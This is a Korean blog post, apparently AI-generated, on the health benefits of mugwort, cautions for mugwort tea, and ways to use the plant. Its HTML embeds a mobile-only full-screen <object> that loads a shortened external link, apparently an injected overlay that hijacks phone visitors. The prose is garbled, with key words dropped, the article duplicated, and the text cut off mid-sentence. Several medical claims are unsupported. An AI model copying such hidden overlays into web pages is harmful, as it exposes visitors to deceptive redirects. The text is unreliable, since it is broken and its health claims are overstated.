쑥 효능 3가지 쑥차 주의점 건강한 활용법

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c2696373390="" inline-copy-host="" class="markdown markdown-main-panel stronger enable-updated-hr-color" id="" aria-live="polite" aria-busy="false" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h1 data-path-to-node="0"><b data-path-to-node="0" data-index-in-node="0">쑥 3가지 쑥차 주의점 건강한 활용법 쑥의 성분과 올바른 섭취방법</b></h1><p data-path-to-node="1">봄의 전령사로 불리는 쑥은 우리 식탁에서 흔히 볼 수 있는 식재료이자, 오랜 세월 동안 약재로도 널리 사용되어 온 귀한 허브입니다. 특유의 진한 향긋함과 쌉싸름한 맛은 입맛을 돋우는 데 탁월할 뿐만 아니라, 우리 몸에 이로운 다양한 영양 성분을 가득 담고 있습니다. 오늘은 쑥의 핵심 세 가지와 함께 쑥차로 즐길 때 알아두어야 할 주의점, 그리고 생활 속에서 실천할 수 있는 건강한 활용법에 대해 심도 있게 알아보겠습니다.</p><p data-path-to-node="2"><b data-path-to-node="2" data-index-in-node="0">1. 쑥의 핵심 3가지</b></p><p data-path-to-node="3">첫째, 여성 건강 증진과 냉증 완화입니다. 쑥은 성질이 따뜻하여 혈액 순환을 촉진하고 몸속의 찬 기운을 몰아내는 데 탁월한 가 있습니다. 특히 자궁을 따뜻하게 만들어 주는 성질 덕분에 생리통, 생리불순, 냉대하증 등 다양한 부인과 을 완화하는 데 큰 도움을 줍니다. 아랫배가 차가워 소화가 잘 안 되거나 손발이 찬 수족냉증을 겪는 분들에게 쑥은 더할 나위 없이 좋은 천연 이 됩니다.</p><p data-path-to-node="4">둘째, 간 기능 개선과 해독 작용입니다. 쑥에 함유된 비타민과 미네랄은 간의 해독 기능을 돕고 피로 해소를 촉진합니다. 특히 쑥 특유의 향을 내는 치네올 성분은 유해균의 성장을 억제하고 면역력을 높여주며, 간세포의 재생을 돕는 것으로 알려져 있습니다. 과음 후 숙취 해소가 필요하거나 일상적인 피로감이 심할 때 쑥을 섭취하면 간의 부담을 덜어주고 몸을 정화하는 를 기대할 수 있습니다.</p><p data-path-to-node="5">셋째, 혈관 건강 및 면역력 강화입니다. 쑥에는 풍부한 섬유질과 함께 베타카로틴, 비타민 C 등이 다량 함유되어 있습니다. 이러한 항산화 성분들은 혈액 내 콜레스테롤 수치를 낮추고 혈관을 깨끗하게 만들어 고혈압이나 동맥경화와 같은 혈관 예방에 도움을 줍니다. 또한 백혈구의 수를 늘려 면역 기능을 강화함으로써 감기나 외부 바이러스로부터 몸을 보호하는 저항력을 길러줍니다.</p><p data-path-to-node="6"><b data-path-to-node="6" data-index-in-node="0">2. 쑥차 섭취 시 주의점 및 </b></p><p data-path-to-node="7">쑥은 수많은 장점을 가진 식품이지만, 체질과 상황에 따라 주의해야 할 점도 분명히 존재합니다. 가장 먼저 고려해야 할 것은 개인의 체질입니다. 쑥은 열이 많은 성질을 가지고 있기 때문에, 평소 몸에 열이 지나치게 많거나 땀이 많은 분들은 과다 섭취 시 오히려 상열감이나 두통을 느낄 수 있습니다.</p><p data-path-to-node="8">또한 쑥에는 소량의 독성 성분이 포함되어 있을 수 있으므로 반드시 제대로 세척하고 익혀서 먹는 것이 안전합니다. 특히 길가나 오염된 지역에서 자란 쑥은 중금속을 흡수했을 가능성이 크므로 절대 채취하지 말아야 하며, 검증된 환경에서 자란 쑥을 선택해야 합니다. 쑥차로 마실 때는 하루 1~2잔 정도가 적당하며, 위장이 약한 사람이 공복에 진한 쑥차를 마실 경우 속 쓰림을 유발할 수 있으니 식후에 연하게 우려 마시는 것이 좋습니다.</p><p data-path-to-node="9"><b data-path-to-node="9" data-index-in-node="0">3. 건강하고 다양한 쑥 활용법</b></p><p data-path-to-node="10">쑥은 차 외에도 요리와 일상생활에서 다양하게 활용할 수 있습니다. 봄철 가장 대표적인 요리인 쑥국은 조개나 들깨가루를 넣어 끓이면 맛과 영양의 균형이 완벽해집니다. 또한 떡으로 만들어 먹으면 전분의 소화를 돕고 쑥의 유효 성분을 적으로 섭취할 수 있습니다.</p><p data-path-to-node="11">식용 외에도 '쑥버무리'나 '쑥전' 등으로 즐거운 식감을 느낄 수 있으며, 말린 쑥은 주머니에 넣어 입욕제로 활용하면 피부 가려움증 완화와 혈액 순환에 도움을 줍니다. 쑥의 향은 마음을 안정시키는 도 있어 스트레스가 심한 날 쑥차 한 잔과 함께 쑥 향을 맡으며 휴식을 취하는 것도 좋은 방법입니다. 자연이 준 선물인 쑥을 올바르게 이해하고 섭취하여 건강한 활력을 찾아보시길 바랍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://cgeimage.commutil.kr/phpwas/restmb_allidxmake.php?pp=002&amp;idx=3&amp;simg=20250911143643027726aa9cc43d05872322.jpg&amp;nmt=48"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://.hinews.co.kr/view.php?ud=2025090316123342279284fa285d_48" data-hveid="3"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSSQCMQYoo8CZneq3OrZJ70URvlXp9uu-phqIH390XVdeVnRRoXdaHl7TOwuB2D"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://.hinews.co.kr/view.php?ud=2025090316123342279284fa285d_48" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRc0Aj0HE88VOlIQk8F7-R3k6FBJdOu8ERIxO9euHhmYCRiKC9Hv9sltYwYq929WAW4eNzHwB4Wa6d00roKgygb3DODolSdT5AstQ"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">.hinews.co.kr</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://gradium.co.kr/wp-content/uploads/artemisia-2-1024x683.jpg"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://gradium.co.kr/artemisia-benefits/" data-hveid="5"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRFWuyg7HwlufTUWw_xIWFXs0OpFgDOEHrDemkoNKwsb73gzo1f2vIfjC0lJQdk"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://gradium.co.kr/artemisia-benefits/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTrCho6FLAzDjqfh8OVfcC-thoPHbCGF4gUp0X0nyg5YJPfTOkzTW_9tzQJ0CnIjlAX-fOOunRBKVHeeJ-KmtxaQPVJKL7KBg"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">gradium.co.kr</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.ytimg.com/vi/i9o338FWkhg/hq720.jpg?sqp=-oaymwEhCK4FEIIDSFryq4qpAxMIARUAAAAAGAElAADIQj0AgKJD&amp;rs=AOn4CLDpQUfHzcgccTK6d_fu5b63wx_WTw"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=i9o338FWkhg" data-hveid="7"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSG_ALYZJzKoT6lOox8Qxm3ii-RW2IiAsq4XkFZKIUHsVK45wXQ4GQbCwQAPu-W"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=i9o338FWkhg" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">.youtube.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://blog.kakaocdn.net/dna/beXtvV/btsASrbdjut/AAAAAAAAAAAAAAAAAAAAAKa1FdUgrHRiPwHNC8m0xRV43eiJWE_5093PZJer1qAZ/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;expires=1777561199&amp;allow_ip=&amp;allow_referer=&amp;signature=hpS3q%2BrdTALurXu1Jda7Hv03FiI%3D"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://lifeedu07..com/92" data-hveid="9"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTjKwZbNF3_DevscoOxlVAOCmJIZIHzSjwClhETQsDNXbYck6AaWlT_8HpATfw5"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://lifeedu07..com/92" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTE-N7hxh1SWICVOqce-kWgGa_-8pfMaGsCHCoWEifKbVg12kHtCgyuNSodu37Ir4Ygud77hWWF59BObIG1QBhMpGbkVoJVRXc6BY3npQDU"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">lifeedu07..com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://stunningroad.com/wp-content/uploads/2022/11/%EB%8B%A8%EA%B5%B0%EC%8B%A0%ED%99%94%EC%97%90%EB%8F%84-%EB%82%98%EC%98%A4%EB%8A%94-%EC%91%A5-%EC%91%A5%EC%B0%A8-%ED%9A%A8%EB%8A%A5%EA%B3%BC-%EB%B6%80%EC%9E%91%EC%9A%A9.jpg"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://stunningroad.com/%EC%91%A5%EC%B0%A8-%ED%9A%A8%EB%8A%A5%EA%B3%BC-%EB%B6%80%EC%9E%91%EC%9A%A9/" data-hveid="11"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSixqKVMCL-5BvnD1ruQ_xoOaR4t3w-5F9oLHRj1i2YVTNnEGTRdg58wCPWUag6"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://stunningroad.com/%EC%91%A5%EC%B0%A8-%ED%9A%A8%EB%8A%A5%EA%B3%BC-%EB%B6%80%EC%9E%91%EC%9A%A9/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcR6bM1bqRkVvYqxfvoEpTMSEC2E_k80OHZxrBoxn8DxiBw7wrutawXlnLBaG74i-drmT_DaktJb8lv80MUXpGcaIppheIxFrWkjGg"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">stunningroad.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://cdn.welfarehello.com/naver-blog/production/jewel-jindo/2023-03/223022911658/jewel-jindo_223022911658_0.jpg?f=webp&amp;q=80&amp;w=800"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://.welfarehello.com/community/hometownNews/4e4aec7e-4cb0-4031-b331-f30218993d4a" data-hveid="13"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRs7wHv5Wc7xTm0M_FXfPFF9d5K41b9eypes7nbltpdSDMGS2qi-Hgsed5U0FnK"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://.welfarehello.com/community/hometownNews/4e4aec7e-4cb0-4031-b331-f30218993d4a" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcSY-IUNEskt-jXyyH2T_Xobe4QQKQtqCE43MUl6OuzMvfYMDy7DlbNPoGnmvITG6pjf7QgIwtpn8onvnwfhzBoUKMuJAKWDGDdK6jukT84"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">.welfarehello.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://bareunnutri.com/files/attach/images/2026/02/04/27ad5f7b4bfc7a16857a0b4b1f6f5eeb.jpg"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://bareunnutri.com/health_info/967175" data-hveid="15"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTealn5Nl5RJx3OwOwjD6-pvZK536rpGK4-rxg7rr-oABWThuShnzSHGLdP_DAp"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://bareunnutri.com/health_info/967175" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTI0UeEK4wIdtQDvtvAj0jyBhPzDqi99Q56e-MXMkkN12jLvdihbdgsQq1-PVtVhagpwvKdYuyeY4-0Xb16d9MWGYzcgYBN3h5F"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">bareunnutri.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://i.ytimg.com/vi/CYHDpmu5t4Q/hq720.jpg?sqp=-oaymwEhCK4FEIIDSFryq4qpAxMIARUAAAAAGAElAADIQj0AgKJD&amp;rs=AOn4CLDHnMgLxZG84B5t1-lDjezHlR2l7A"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=CYHDpmu5t4Q" data-hveid="17"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTsc2I5n0qDnbcOMhpQ8h0ySAvRNJUA7QF3itAPToyk4dGonCnmtofj08YKCmY9"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=CYHDpmu5t4Q" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">.youtube.com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1952197375="" data-is-interactive="false" class="ng-star-inserted"><div _ngcontent-ng-c1952197375="" class="image-container ng-star-inserted" data-full-size-image-uri="https://blog.kakaocdn.net/dna/bm5EVw/btsATO4ml7y/AAAAAAAAAAAAAAAAAAAAAGgSEkZTbSfM_8J2rncEzF6r5c-ljDLy0ZpAEQtG6K-0/img.jpg?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;expires=1777561199&amp;allow_ip=&amp;allow_referer=&amp;signature=Dq10qNL4jd4yaUH8xtUhHXBKvt0%3D"><div _ngcontent-ng-c1952197375="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1952197375="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3213727419="" jslog="181501;track:generic_click,impression,attention;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true" s://lifeedu07..com/92" data-hveid="19"><span _ngcontent-ng-c3213727419="" data-test-id="content" class="link-content ng-star-inserted"><img _ngcontent-ng-c1952197375="" loading="lazy" autocrossorigin="" class="image ng-star-inserted loaded" alt="쑥 쑥차 건강 , AI로 생성" src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSBkRLXaGuCR6mfxxfr2Ntj5xmZoxLE_wQf04pMP2BSdvPTY_LJcpYUsTCXbGf5"></span><span _ngcontent-ng-c3213727419="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1952197375="" rel="noopener" class="source ng-star-inserted" s://lifeedu07..com/92" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_799337391536eaff&quot;,&quot;c_38ca69dd8008f176&quot;,null,&quot;rc_14496e7b01f6e983&quot;,null,null,&quot;ko&quot;,null,1,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1952197375="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcTE-N7hxh1SWICVOqce-kWgGa_-8pfMaGsCHCoWEifKbVg12kHtCgyuNSodu37Ir4Ygud77hWWF59BObIG1QBhMpGbkVoJVRXc6BY3npQDU"><span _ngcontent-ng-c1952197375="" class="label ellipsis gds-body-s">lifeedu07..com</span><span _ngcontent-ng-c1952197375="" aria-label=""></span></a></div></div></single-image></response-element></div></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c2696373390="" inline-copy-host="" class="markdown markdown-main-panel stronger enable-updated-hr-color" id="" aria-live="polite" aria-busy="false" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h1 data-path-to-node="0"><b data-path-to-node="0" data-index-in-node="0">쑥 3가지 쑥차 주의점 건강한 활용법 쑥의 성분과 올바른 섭취방법</b></h1><p data-path-to-node="1">봄의 전령사로 불리는 쑥은 우리 식탁에서 흔히 볼 수 있는 식재료이자, 오랜 세월 동안 약재로도 널리 사용되어 온 귀한 허브입니다. 특유의 진한 향긋함과 쌉싸름한 맛은 입맛을 돋우는 데 탁월할 뿐만 아니라, 우리 몸에 이로운 다양한 영양 성분을 가득 담고 있습니다. 오늘은 쑥의 핵심 세 가지와 함께 쑥차로 즐길 때 알아두어야 할 주의점, 그리고 생활 속에서 실천할 수 있는 건강한 활용법에 대해 심도 있게 알아보겠습니다.</p><p data-path-to-node="2"><b data-path-to-node="2" data-index-in-node="0">1. 쑥의 핵심 3가지</b></p><p data-path-to-node="3">첫째, 여성 건강 증진과 냉증 완화입니다. 쑥은 성질이 따뜻하여 혈액 순환을 촉진하고 몸속의 찬 기운을 몰아내는 데 탁월한 가 있습니다. 특히 자궁을 따뜻하게 만들어 주는 성질 덕분에 생리통, 생리불순, 냉대하증 등 다양한 부인과 을 완화하는 데 큰 도움을 줍니다. 아랫배가 차가워 소화가 잘 안 되거나 손발이 찬 수족냉증을 겪는 분들에게 쑥은 더할 나위 없이 좋은 천연 이 됩니다.</p><p data-path-to-node="4">둘째, 간 기능 개선과 해독 작용입니다. 쑥에 함유된 비타민과 미네랄은 간의 해독 기능을 돕고 피로 해소를 촉진합니다. 특히 쑥 특유의 향을 내는 치네올 성분은 유해균의 성장을 억제하고 면역력을 높여주며, 간세포의 재생을 돕는 것으로 알려져 있습니다. 과음 후 숙취 해소가 필요하거나 일상적인 피로감이 심할 때 쑥을 섭취하면 간의 부담을 덜어주고 몸을 정화하는 를 기대할 수 있습니다.</p><p data-path-to-node="5">셋째, 혈관 건강 및 면역력 강화입니다. 쑥에는 풍부한 섬유질과 함께 베타카로틴, 비타민 C 등이 다량 함유되어 있습니다. 이러한 항산화 성분들은 